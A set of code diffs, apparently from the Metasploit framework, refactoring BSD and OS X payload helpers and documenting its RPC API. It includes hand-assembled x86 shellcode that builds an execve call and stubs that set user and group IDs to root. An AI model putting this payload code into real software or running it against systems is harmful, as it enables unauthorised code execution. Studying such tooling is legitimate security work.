||||
|
||||
|
||||
def apply_prepends(buf)
|
||||
test_arch = [ *(self.arch) ]
|
||||
pre = ''
|
||||
|
@ -88,76 +90,6 @@ module Msf::Payload::Bsd
|
|||
pre + buf + app
|
||||
end
|
||||
|
||||
def handle_x86_bsd_opts(pre, app)
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x66\xb8\x37\x01" +# movw $0x0137,%ax #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetreuid'])
|
||||
# setreuid(0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x7e" +# movb $0x7e,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetuid'])
|
||||
# setuid(0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x17" +# movb $0x17,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresgid'])
|
||||
# setresgid(0, 0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetregid'])
|
||||
# setregid(0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x7f" +# movb $0x7f,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetgid'])
|
||||
# setgid(0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\xb5" +# movb $0xb5,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['AppendExit'])
|
||||
# exit(0)
|
||||
app << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x01" +# movb $0x01,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
end
|
||||
|
||||
def handle_x64_bsd_opts(pre, app)
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
|
|
|
@ -0,0 +1,130 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
|
||||
###
|
||||
# Contains common x86 BSD code
|
||||
###
|
||||
module Msf::Payload::Bsd
|
||||
module X86
|
||||
|
||||
def bsd_x86_exec_payload
|
||||
cmd_str = datastore['CMD'] || ''
|
||||
# Split the cmd string into arg chunks
|
||||
cmd_parts = Shellwords.shellsplit(cmd_str)
|
||||
# the non-exe-path parts of the chunks need to be reversed for execve
|
||||
cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
|
||||
arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
|
||||
|
||||
payload = ''
|
||||
|
||||
# Stuff an array of arg strings into memory
|
||||
payload << "\x31\xc0" # xor eax, eax (eax => 0)
|
||||
payload << Rex::Arch::X86.call(arg_str.length) # jmp over CMD_STR, stores &CMD_STR on stack
|
||||
payload << arg_str
|
||||
payload << "\x5B" # pop ebx (ebx => &CMD_STR)
|
||||
|
||||
# now EBX contains &cmd_parts[0], the exe path
|
||||
if cmd_parts.length > 1
|
||||
# Build an array of pointers to arguments
|
||||
payload << "\x89\xD9" # mov ecx, ebx
|
||||
payload << "\x50" # push eax; null byte (end of array)
|
||||
payload << "\x89\xe2" # mov edx, esp (EDX points to the end-of-array null byte)
|
||||
|
||||
cmd_parts[1..-1].each_with_index do |arg, idx|
|
||||
l = [cmd_parts[idx].length+1].pack('V')
|
||||
# can probably save space here by doing the loop in ASM
|
||||
# for each arg, push its current memory location on to the stack
|
||||
payload << "\x81\xC1" # add ecx, ...
|
||||
payload << l # (cmd_parts[idx] is the prev arg)
|
||||
payload << "\x51" # push ecx (&cmd_parts[idx])
|
||||
end
|
||||
|
||||
payload << "\x53" # push ebx (&cmd_parts[0])
|
||||
payload << "\x89\xe1" # mov ecx, esp (ptr to ptr to first str)
|
||||
payload << "\x52" # push edx
|
||||
payload << "\x51" # push ecx
|
||||
else
|
||||
# pass NULL args array to execve() call
|
||||
payload << "\x50\x50" # push eax, push eax
|
||||
end
|
||||
|
||||
payload << "\x53" # push ebx
|
||||
payload << "\xb0\x3b" # mov al, 0x3b (execve)
|
||||
payload << "\x50" # push eax
|
||||
payload << "\xcd\x80" # int 0x80 (triggers execve syscall)
|
||||
|
||||
payload
|
||||
end
|
||||
|
||||
def handle_x86_bsd_opts(pre, app)
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x66\xb8\x37\x01" +# movw $0x0137,%ax #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetreuid'])
|
||||
# setreuid(0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x7e" +# movb $0x7e,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetuid'])
|
||||
# setuid(0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x17" +# movb $0x17,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresgid'])
|
||||
# setresgid(0, 0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetregid'])
|
||||
# setregid(0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x7f" +# movb $0x7f,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetgid'])
|
||||
# setgid(0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\xb5" +# movb $0xb5,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['AppendExit'])
|
||||
# exit(0)
|
||||
app << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x01" +# movb $0x01,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -19,13 +19,6 @@ module Msf::Payload::Osx
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptBool.new('PrependSetresuid',
|
||||
[
|
||||
false,
|
||||
"Prepend a stub that executes the setresuid(0, 0, 0) system call",
|
||||
false
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('PrependSetreuid',
|
||||
[
|
||||
false,
|
||||
|
@ -40,13 +33,6 @@ module Msf::Payload::Osx
|
|||
false
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('PrependSetresgid',
|
||||
[
|
||||
false,
|
||||
"Prepend a stub that executes the setresgid(0, 0, 0) system call",
|
||||
false
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('PrependSetregid',
|
||||
[
|
||||
false,
|
||||
|
@ -89,16 +75,6 @@ module Msf::Payload::Osx
|
|||
end
|
||||
|
||||
def handle_x86_osx_opts(pre, app)
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x66\xb8\x37\x01" +# movw $0x0137,%ax #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetreuid'])
|
||||
# setreuid(0, 0)
|
||||
|
@ -119,17 +95,6 @@ module Msf::Payload::Osx
|
|||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresgid'])
|
||||
# setresgid(0, 0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetregid'])
|
||||
# setregid(0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
|
@ -159,10 +124,6 @@ module Msf::Payload::Osx
|
|||
end
|
||||
|
||||
def handle_x64_osx_opts(pre, app)
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
raise RuntimeError, "setresuid syscall is not implemented on x64 OSX systems"
|
||||
end
|
||||
|
||||
if (datastore['PrependSetreuid'])
|
||||
# setreuid(0, 0)
|
||||
|
@ -185,11 +146,6 @@ module Msf::Payload::Osx
|
|||
"\x0f\x05" # syscall
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresgid'])
|
||||
# setresgid(0, 0, 0)
|
||||
raise RuntimeError, "setresgid syscall is not implemented on x64 OSX systems"
|
||||
end
|
||||
|
||||
if (datastore['PrependSetregid'])
|
||||
# setregid(0, 0)
|
||||
pre << "\x41\xb0\x02" +# mov r8b, 0x2 (Set syscall_class to UNIX=2<<24)
|
||||
|
|
|
@ -86,13 +86,13 @@ class Msf::Payload::UUID
|
|||
#
|
||||
# Generate a raw 16-byte payload UUID given a seed, platform, architecture, and timestamp
|
||||
#
|
||||
# @options opts [String] :seed An optional string to use for generated the unique payload ID, deterministic
|
||||
# @options opts [String] :puid An optional 8-byte string to use as the unique payload ID
|
||||
# @options opts [String] :arch The hardware architecture for this payload
|
||||
# @options opts [String] :platform The operating system platform for this payload
|
||||
# @options opts [String] :timestamp The timestamp in UTC Unix epoch format
|
||||
# @options opts [Fixnum] :xor1 An optional 8-bit XOR ID for obfuscation
|
||||
# @options opts [Fixnum] :xor2 An optional 8-bit XOR ID for obfuscation
|
||||
# @option opts [String] :seed An optional string to use for generated the unique payload ID, deterministic
|
||||
# @option opts [String] :puid An optional 8-byte string to use as the unique payload ID
|
||||
# @option opts [String] :arch The hardware architecture for this payload
|
||||
# @option opts [String] :platform The operating system platform for this payload
|
||||
# @option opts [String] :timestamp The timestamp in UTC Unix epoch format
|
||||
# @option opts [Fixnum] :xor1 An optional 8-bit XOR ID for obfuscation
|
||||
# @option opts [Fixnum] :xor2 An optional 8-bit XOR ID for obfuscation
|
||||
# @return [String] The encoded payoad UUID as a binary string
|
||||
#
|
||||
def self.generate_raw(opts={})
|
||||
|
|
|
@ -144,8 +144,10 @@ module Msf
|
|||
if arch.blank?
|
||||
@arch = mod.arch.first
|
||||
cli_print "No Arch selected, selecting Arch: #{arch} from the payload"
|
||||
datastore['ARCH'] = arch if mod.kind_of?(Msf::Payload::Generic)
|
||||
return mod.arch.first
|
||||
elsif mod.arch.include? arch
|
||||
datastore['ARCH'] = arch if mod.kind_of?(Msf::Payload::Generic)
|
||||
return arch
|
||||
else
|
||||
return nil
|
||||
|
@ -157,7 +159,10 @@ module Msf
|
|||
# @param mod [Msf::Payload] The module class to choose a platform for
|
||||
# @return [Msf::Module::PlatformList] The selected platform list
|
||||
def choose_platform(mod)
|
||||
# By default, platform_list will at least return Msf::Module::Platform
|
||||
# if there is absolutely no pre-configured platform info at all
|
||||
chosen_platform = platform_list
|
||||
|
||||
if chosen_platform.platforms.empty?
|
||||
chosen_platform = mod.platform
|
||||
cli_print "No platform was selected, choosing #{chosen_platform.platforms.first} from the payload"
|
||||
|
@ -165,6 +170,17 @@ module Msf
|
|||
elsif (chosen_platform & mod.platform).empty?
|
||||
chosen_platform = Msf::Module::PlatformList.new
|
||||
end
|
||||
|
||||
begin
|
||||
platform_object = Msf::Module::Platform.find_platform(platform)
|
||||
rescue ArgumentError
|
||||
platform_object = nil
|
||||
end
|
||||
|
||||
if mod.kind_of?(Msf::Payload::Generic) && mod.send(:module_info)['Platform'].empty? && platform_object
|
||||
datastore['PLATFORM'] = platform
|
||||
end
|
||||
|
||||
chosen_platform
|
||||
end
|
||||
|
||||
|
|
|
@ -119,13 +119,6 @@ class Plugin
|
|||
output.print_good(msg) if (output)
|
||||
end
|
||||
|
||||
#
|
||||
# Prints a 'debug' message.
|
||||
#
|
||||
def print_debug(msg='')
|
||||
output.print_debug(msg) if (output)
|
||||
end
|
||||
|
||||
#
|
||||
# Prints a status line.
|
||||
#
|
||||
|
|
|
@ -331,7 +331,6 @@ protected
|
|||
begin
|
||||
client.sys.config.getprivs()
|
||||
root_key, base_key = session.sys.registry.splitkey(key)
|
||||
#print_debug("Loading file #{file}")
|
||||
begin
|
||||
loadres = session.sys.registry.load_key(root_key, base_key, file)
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
|
@ -349,7 +348,6 @@ protected
|
|||
#print_error("An unknown error has occurred: #{loadres.to_s}")
|
||||
return false
|
||||
else
|
||||
#print_debug("Registry Hive Loaded Successfully: #{key}")
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
@ -377,7 +375,6 @@ protected
|
|||
#print_error("An unknown error has occurred: #{unloadres.to_s}")
|
||||
return false
|
||||
else
|
||||
#print_debug("Registry Hive Unloaded Successfully: #{key}")
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
|
|
@ -12,9 +12,21 @@ module RPC
|
|||
|
||||
class Client
|
||||
|
||||
attr_accessor :token, :info
|
||||
# @!attribute token
|
||||
# @return [String] A login token.
|
||||
attr_accessor :token
|
||||
|
||||
# @!attribute info
|
||||
# @return [Hash] Login information.
|
||||
attr_accessor :info
|
||||
|
||||
|
||||
# Initializes the RPC client to connect to: https://127.0.0.1:3790 (TLS1)
|
||||
# The connection information is overridden through the optional info hash.
|
||||
#
|
||||
# @param [Hash] info Information needed for the initialization.
|
||||
# @option info [String] :token A token used by the client.
|
||||
# @return [void]
|
||||
def initialize(info={})
|
||||
self.info = {
|
||||
:host => '127.0.0.1',
|
||||
|
@ -29,6 +41,13 @@ class Client
|
|||
end
|
||||
|
||||
|
||||
# Logs in by calling the 'auth.login' API. The authentication token will expire 5 minutes
|
||||
# after the last request was made.
|
||||
#
|
||||
# @param [String] user Username.
|
||||
# @param [String] pass Password.
|
||||
# @raise RuntimeError Indicating a failed authentication.
|
||||
# @return [TrueClass] Indicating a successful login.
|
||||
def login(user,pass)
|
||||
res = self.call("auth.login", user, pass)
|
||||
unless (res && res['result'] == "success")
|
||||
|
@ -38,8 +57,23 @@ class Client
|
|||
true
|
||||
end
|
||||
|
||||
# Prepend the authentication token as the first parameter
|
||||
# of every call except auth.login. Requires the
|
||||
|
||||
# Calls an API.
|
||||
#
|
||||
# @param [String] meth The RPC API to call.
|
||||
# @param [Array<string>] args The arguments to pass.
|
||||
# @raise [RuntimeError] Something is wrong while calling the remote API, including:
|
||||
# * A missing token (your client needs to authenticate).
|
||||
# * A unexpected response from the server, such as a timeout or unexpected HTTP code.
|
||||
# @raise [Msf::RPC::ServerException] The RPC service returns an error.
|
||||
# @return [Hash] The API response. It contains the following keys:
|
||||
# * 'version' [String] Framework version.
|
||||
# * 'ruby' [String] Ruby version.
|
||||
# * 'api' [String] API version.
|
||||
# @example
|
||||
# # This will return something like this:
|
||||
# # {"version"=>"4.11.0-dev", "ruby"=>"2.1.5 x86_64-darwin14.0 2014-11-13", "api"=>"1.0"}
|
||||
# rpc.call('core.version')
|
||||
def call(meth, *args)
|
||||
unless meth == "auth.login"
|
||||
unless self.token
|
||||
|
@ -84,6 +118,10 @@ class Client
|
|||
end
|
||||
end
|
||||
|
||||
|
||||
# Closes the client.
|
||||
#
|
||||
# @return [void]
|
||||
def close
|
||||
if @cli && @cli.conn?
|
||||
@cli.close
|
||||
|
|
|
@ -8,6 +8,11 @@ API_VERSION = "1.0"
|
|||
class Exception < RuntimeError
|
||||
attr_accessor :code, :message
|
||||
|
||||
# Initializes Exception.
|
||||
#
|
||||
# @param [Fixnum] code An error code.
|
||||
# @param [String] message An error message.
|
||||
# @return [void]
|
||||
def initialize(code, message)
|
||||
self.code = code
|
||||
self.message = message
|
||||
|
@ -18,6 +23,13 @@ end
|
|||
class ServerException < RuntimeError
|
||||
attr_accessor :code, :error_message, :error_class, :error_backtrace
|
||||
|
||||
# Initializes ServerException.
|
||||
#
|
||||
# @param [Fixnum] code An error code.
|
||||
# @param [String] error_message An error message.
|
||||
# @param [Exception] error_class An error class.
|
||||
# @param [Array] error_backtrace A backtrace of the error.
|
||||
# @return [void]
|
||||
def initialize(code, error_message, error_class, error_backtrace)
|
||||
self.code = code
|
||||
self.error_message = error_message
|
||||
|
|
|
@ -11,8 +11,21 @@ begin
|
|||
rescue ::LoadError
|
||||
end
|
||||
|
||||
# Handles client authentication. The authentication token will expire 5 minutes after the
|
||||
# last request was made.
|
||||
#
|
||||
# @param [String] user The username.
|
||||
# @param [String] pass The password.
|
||||
# @raise [Msf::RPC::Exception] Something is wrong while authenticating, you can possibly get:
|
||||
# * 401 Failed authentication.
|
||||
# @return [Hash] A hash indicating a successful login, it contains the following keys:
|
||||
# * 'result' [String] A successful message: 'success'.
|
||||
# * 'token' [String] A token for the authentication.
|
||||
# @example Here's how you would use this from the client:
|
||||
# # This returns something like the following:
|
||||
# # {"result"=>"success", "token"=>"TEMPyp1N40NK8GM0Tx7A87E6Neak2tVJ"}
|
||||
# rpc.call('auth.login_noauth', 'username', 'password')
|
||||
def rpc_login_noauth(user,pass)
|
||||
|
||||
if not (user.kind_of?(::String) and pass.kind_of?(::String))
|
||||
error(401, "Login Failed")
|
||||
end
|
||||
|
@ -42,6 +55,19 @@ end
|
|||
{ "result" => "success", "token" => token }
|
||||
end
|
||||
|
||||
|
||||
# Handles client deauthentication.
|
||||
#
|
||||
# @param [String] token The user's token to log off.
|
||||
# @raise [Msf::RPC::Exception] An error indicating a failed deauthentication, including:
|
||||
# * 500 Invalid authentication token.
|
||||
# * 500 Permanent authentication token.
|
||||
# @return [Hash] A hash indiciating the action was successful. It contains the following key:
|
||||
# * 'result' [String] The successful message: 'success'
|
||||
# @example Here's how you would use this from the client:
|
||||
# # This returns something like:
|
||||
# # {"result"=>"success"}
|
||||
# rpc.call('auth.logout', 'TEMPyp1N40NK8GM0Tx7A87E6Neak2tVJ')
|
||||
def rpc_logout(token)
|
||||
found = self.service.tokens[token]
|
||||
error("500", "Invalid Authentication Token") if not found
|
||||
|
@ -53,6 +79,16 @@ end
|
|||
{ "result" => "success" }
|
||||
end
|
||||
|
||||
|
||||
# Returns a list of authentication tokens, including the ones that are
|
||||
# temporary, permanent, or stored in the backend.
|
||||
#
|
||||
# @return [Hash] A hash that contains a list of authentication tokens. It contains the following key:
|
||||
# * 'tokens' [Array<string>] An array of tokens.
|
||||
# @example Here's how you would use this from the client:
|
||||
# # This returns something like:
|
||||
# # {"tokens"=>["TEMPf5I4Ec8cBEKVD8D7xtIbTXWoKapP", "TEMPtcVmMld8w74zo0CYeosM3iXW0nJz"]}
|
||||
# rpc.call('auth.token_list')
|
||||
def rpc_token_list
|
||||
res = self.service.tokens.keys
|
||||
begin
|
||||
|
@ -66,6 +102,14 @@ end
|
|||
{ "tokens" => res }
|
||||
end
|
||||
|
||||
|
||||
# Adds a new token to the database.
|
||||
#
|
||||
# @param [String] token A unique token.
|
||||
# @return [Hash] A hash indicating the action was successful. It contains the following key:
|
||||
# * 'result' [String] The successful message: 'success'
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('auth.token_add', 'UNIQUE_TOKEN')
|
||||
def rpc_token_add(token)
|
||||
db = false
|
||||
begin
|
||||
|
@ -85,6 +129,16 @@ end
|
|||
{ "result" => "success" }
|
||||
end
|
||||
|
||||
|
||||
# Generates a random 32-byte authentication token. The token is added to the
|
||||
# database as a side-effect.
|
||||
#
|
||||
# @return [Hash] A hash indicating the action was successful, also the new token.
|
||||
# It contains the following keys:
|
||||
# * 'result' [String] The successful message: 'success'
|
||||
# * 'token' [String] A new token.
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('auth.token_generate')
|
||||
def rpc_token_generate
|
||||
token = Rex::Text.rand_text_alphanumeric(32)
|
||||
db = false
|
||||
|
@ -106,6 +160,16 @@ end
|
|||
{ "result" => "success", "token" => token }
|
||||
end
|
||||
|
||||
|
||||
# Removes a token from the database. Similar to what #rpc_logout does internally, except this
|
||||
# can remove tokens stored in the database backend (Mdm).
|
||||
#
|
||||
# @see #rpc_logout
|
||||
# @param [String] token The token to delete.
|
||||
# @return [Hash] A hash indicating the action was successful. It contains the following key:
|
||||
# * 'result' [String] The successful message: 'success'
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('auth.token_remove', 'TEMPtcVmMld8w74zo0CYeosM3iXW0nJz')
|
||||
def rpc_token_remove(token)
|
||||
db = false
|
||||
begin
|
||||
|
|
|
@ -5,6 +5,9 @@ module RPC
|
|||
class RPC_Base
|
||||
attr_accessor :framework, :service, :tokens, :users
|
||||
|
||||
# Initializes framework, service, tokens, and users
|
||||
#
|
||||
# return [void]
|
||||
def initialize(service)
|
||||
self.service = service
|
||||
self.framework = service.framework
|
||||
|
@ -12,6 +15,12 @@ class RPC_Base
|
|||
self.users = service.users
|
||||
end
|
||||
|
||||
# Raises an Msf::RPC Exception.
|
||||
#
|
||||
# @param [Fixnum] code The error code to raise.
|
||||
# @param [String] message The error message.
|
||||
# @raise [Msf::RPC::Exception]
|
||||
# @return [void]
|
||||
def error(code, message)
|
||||
raise Msf::RPC::Exception.new(code, message)
|
||||
end
|
||||
|
|
|
@ -7,11 +7,24 @@ module Msf
|
|||
module RPC
|
||||
class RPC_Console < RPC_Base
|
||||
|
||||
# Initializes the RPC console
|
||||
#
|
||||
# @return [Msf::Ui::Web::Driver]
|
||||
def initialize(*args)
|
||||
super
|
||||
@console_driver = Msf::Ui::Web::Driver.new(:framework => framework)
|
||||
end
|
||||
|
||||
# Creates a new framework console instance.
|
||||
#
|
||||
# @param [Hash] opts See Msf::Ui::Web::Driver#create_console
|
||||
# @return [Hash] Information about the new console. It contains the following keys:
|
||||
# * 'id' [Fixnum] The console's ID.
|
||||
# * 'prompt' [String] The framework prompt (example: 'msf > ')
|
||||
# * 'busy' [TrueClass] The console's busy state, or
|
||||
# * 'busy' [FalseClass] The console's busy state.
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('console.create')
|
||||
def rpc_create(opts={})
|
||||
cid = @console_driver.create_console(opts)
|
||||
{
|
||||
|
@ -21,6 +34,17 @@ class RPC_Console < RPC_Base
|
|||
}
|
||||
end
|
||||
|
||||
|
||||
# Returns a list of framework consoles.
|
||||
#
|
||||
# @return [Hash] Console information.
|
||||
# * 'consoles' [Array<Hash>] consoles, each element is a hash that includes:
|
||||
# * 'id' [Fixnum] The console's ID
|
||||
# * 'prompt' [String] The framework prompt (example: 'msf > ')
|
||||
# * 'busy' [TrueClass] The console's busy state, or
|
||||
# * 'busy' [FalseClass] The console's busy state.
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('console.list')
|
||||
def rpc_list
|
||||
ret = []
|
||||
@console_driver.consoles.each_key do |cid|
|
||||
|
@ -33,6 +57,15 @@ class RPC_Console < RPC_Base
|
|||
{'consoles' => ret}
|
||||
end
|
||||
|
||||
|
||||
# Deletes a framework console instance.
|
||||
#
|
||||
# @param [Fixnum] cid Framework console ID.
|
||||
# @return [Hash] A result indicating whether the action was successful or not.
|
||||
# It contains the following key:
|
||||
# * 'result' [String] Either 'success' or 'failure'.
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('console.destroy', 1)
|
||||
def rpc_destroy(cid)
|
||||
cid = cid.to_s
|
||||
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
|
||||
|
@ -40,6 +73,21 @@ class RPC_Console < RPC_Base
|
|||
{ 'result' => res ? 'success' : 'failure' }
|
||||
end
|
||||
|
||||
|
||||
# Returns the framework console output in raw form.
|
||||
#
|
||||
# @param [Fixnum] cid Framework console ID.
|
||||
# @return [Hash] There are two different hashes you might get:
|
||||
#
|
||||
# If the console ID is invalid, you will get a hash like the following:
|
||||
# * 'result' [String] A value that says 'failure'.
|
||||
# If the console ID is valid, you will get a hash like the following:
|
||||
# * 'data' [String] The output the framework console produces (example: the banner)
|
||||
# * 'prompt' [String] The framework prompt (example: 'msf > ')
|
||||
# * 'busy' [TrueClass] The console's busy state, or
|
||||
# * 'busy' [FalseClass] The console's busy state.
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('console.read', 1)
|
||||
def rpc_read(cid)
|
||||
cid = cid.to_s
|
||||
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
|
||||
|
@ -50,18 +98,59 @@ class RPC_Console < RPC_Base
|
|||
}
|
||||
end
|
||||
|
||||
|
||||
# Sends an input (such as a command) to the framework console.
|
||||
#
|
||||
# @param [Fixnum] cid Framework console ID.
|
||||
# @param [String] data User input.
|
||||
# @return [Hash] There are two different hashes you might get:
|
||||
#
|
||||
# If the console ID is invalid, you will get a hash like the following:
|
||||
# * 'result' [String] A value that says 'failure'.
|
||||
# If the console ID is invalid, you will get a hash like the following:
|
||||
# * 'wrote' [Fixnum] Number of bytes sent.
|
||||
# @note Remember to add a newline (\\r\\n) at the end of input, otherwise
|
||||
# the console will not do anything. And you will need to use the
|
||||
# #rpc_read method to retrieve the output again.
|
||||
# @example Here's how you would use this from the client:
|
||||
# # This will show the current module's options.
|
||||
# rpc.call('console.write', 4, "show options\r\n")
|
||||
def rpc_write(cid, data)
|
||||
cid = cid.to_s
|
||||
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
|
||||
{ "wrote" => @console_driver.write_console(cid, data || '') }
|
||||
end
|
||||
|
||||
|
||||
# Returns the tab-completed version of your input (such as a module path).
|
||||
#
|
||||
# @param [Fixnum] cid Framework console ID.
|
||||
# @param [String] line Command.
|
||||
# @return [Hash] There are two different hashes you might get:
|
||||
#
|
||||
# If the console ID is invalid, you will get a hash like the following:
|
||||
# * 'result' [String] A value that says 'failure'.
|
||||
# If the console ID is valid, you will get a hash like the following:
|
||||
# * 'tabs' [String] The tab-completed version of the command.
|
||||
# @example Here's how you would use this from the client:
|
||||
# # This will return:
|
||||
# # {"tabs"=>["use exploit/windows/smb/ms08_067_netapi"]}
|
||||
# rpc.call('console.tabs', 4, "use exploit/windows/smb/ms08_067_")
|
||||
def rpc_tabs(cid, line)
|
||||
cid = cid.to_s
|
||||
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
|
||||
{ "tabs" => @console_driver.consoles[cid].tab_complete(line) }
|
||||
end
|
||||
|
||||
|
||||
# Kills a framework session. This serves the same purpose as [CTRL]+[C] to abort an interactive session.
|
||||
# You might also want to considering using the session API calls instead of this.
|
||||
#
|
||||
# @param [Fixnum] cid Framework console ID.
|
||||
# @return [Hash] A hash indicating whether the action was successful or not. It contains:
|
||||
# * 'result' [String] A message that says 'success' if the console ID is valid (and successfully killed, otherwise 'failed')
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('console.session_kill', 4)
|
||||
def rpc_session_kill(cid)
|
||||
cid = cid.to_s
|
||||
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
|
||||
|
@ -69,6 +158,15 @@ class RPC_Console < RPC_Base
|
|||
{ 'result' => 'success' }
|
||||
end
|
||||
|
||||
|
||||
# Detaches a framework session. This serves the same purpose as [CTRL]+[Z] to
|
||||
# background an interactive session.
|
||||
#
|
||||
# @param [Fixnum] cid Framework console ID.
|
||||
# @return [Hash] A hash indicating whether the action was successful or not. It contains:
|
||||
# * 'result' [String] A message that says 'success' if the console ID is valid (and successfully detached, otherwise 'failed')
|
||||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('console.session_detach', 4)
|
||||
def rpc_session_detach(cid)
|
||||
cid = cid.to_s
|
||||
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
|
||||
|
|
|
@ -3,6 +3,14 @@ module Msf
|
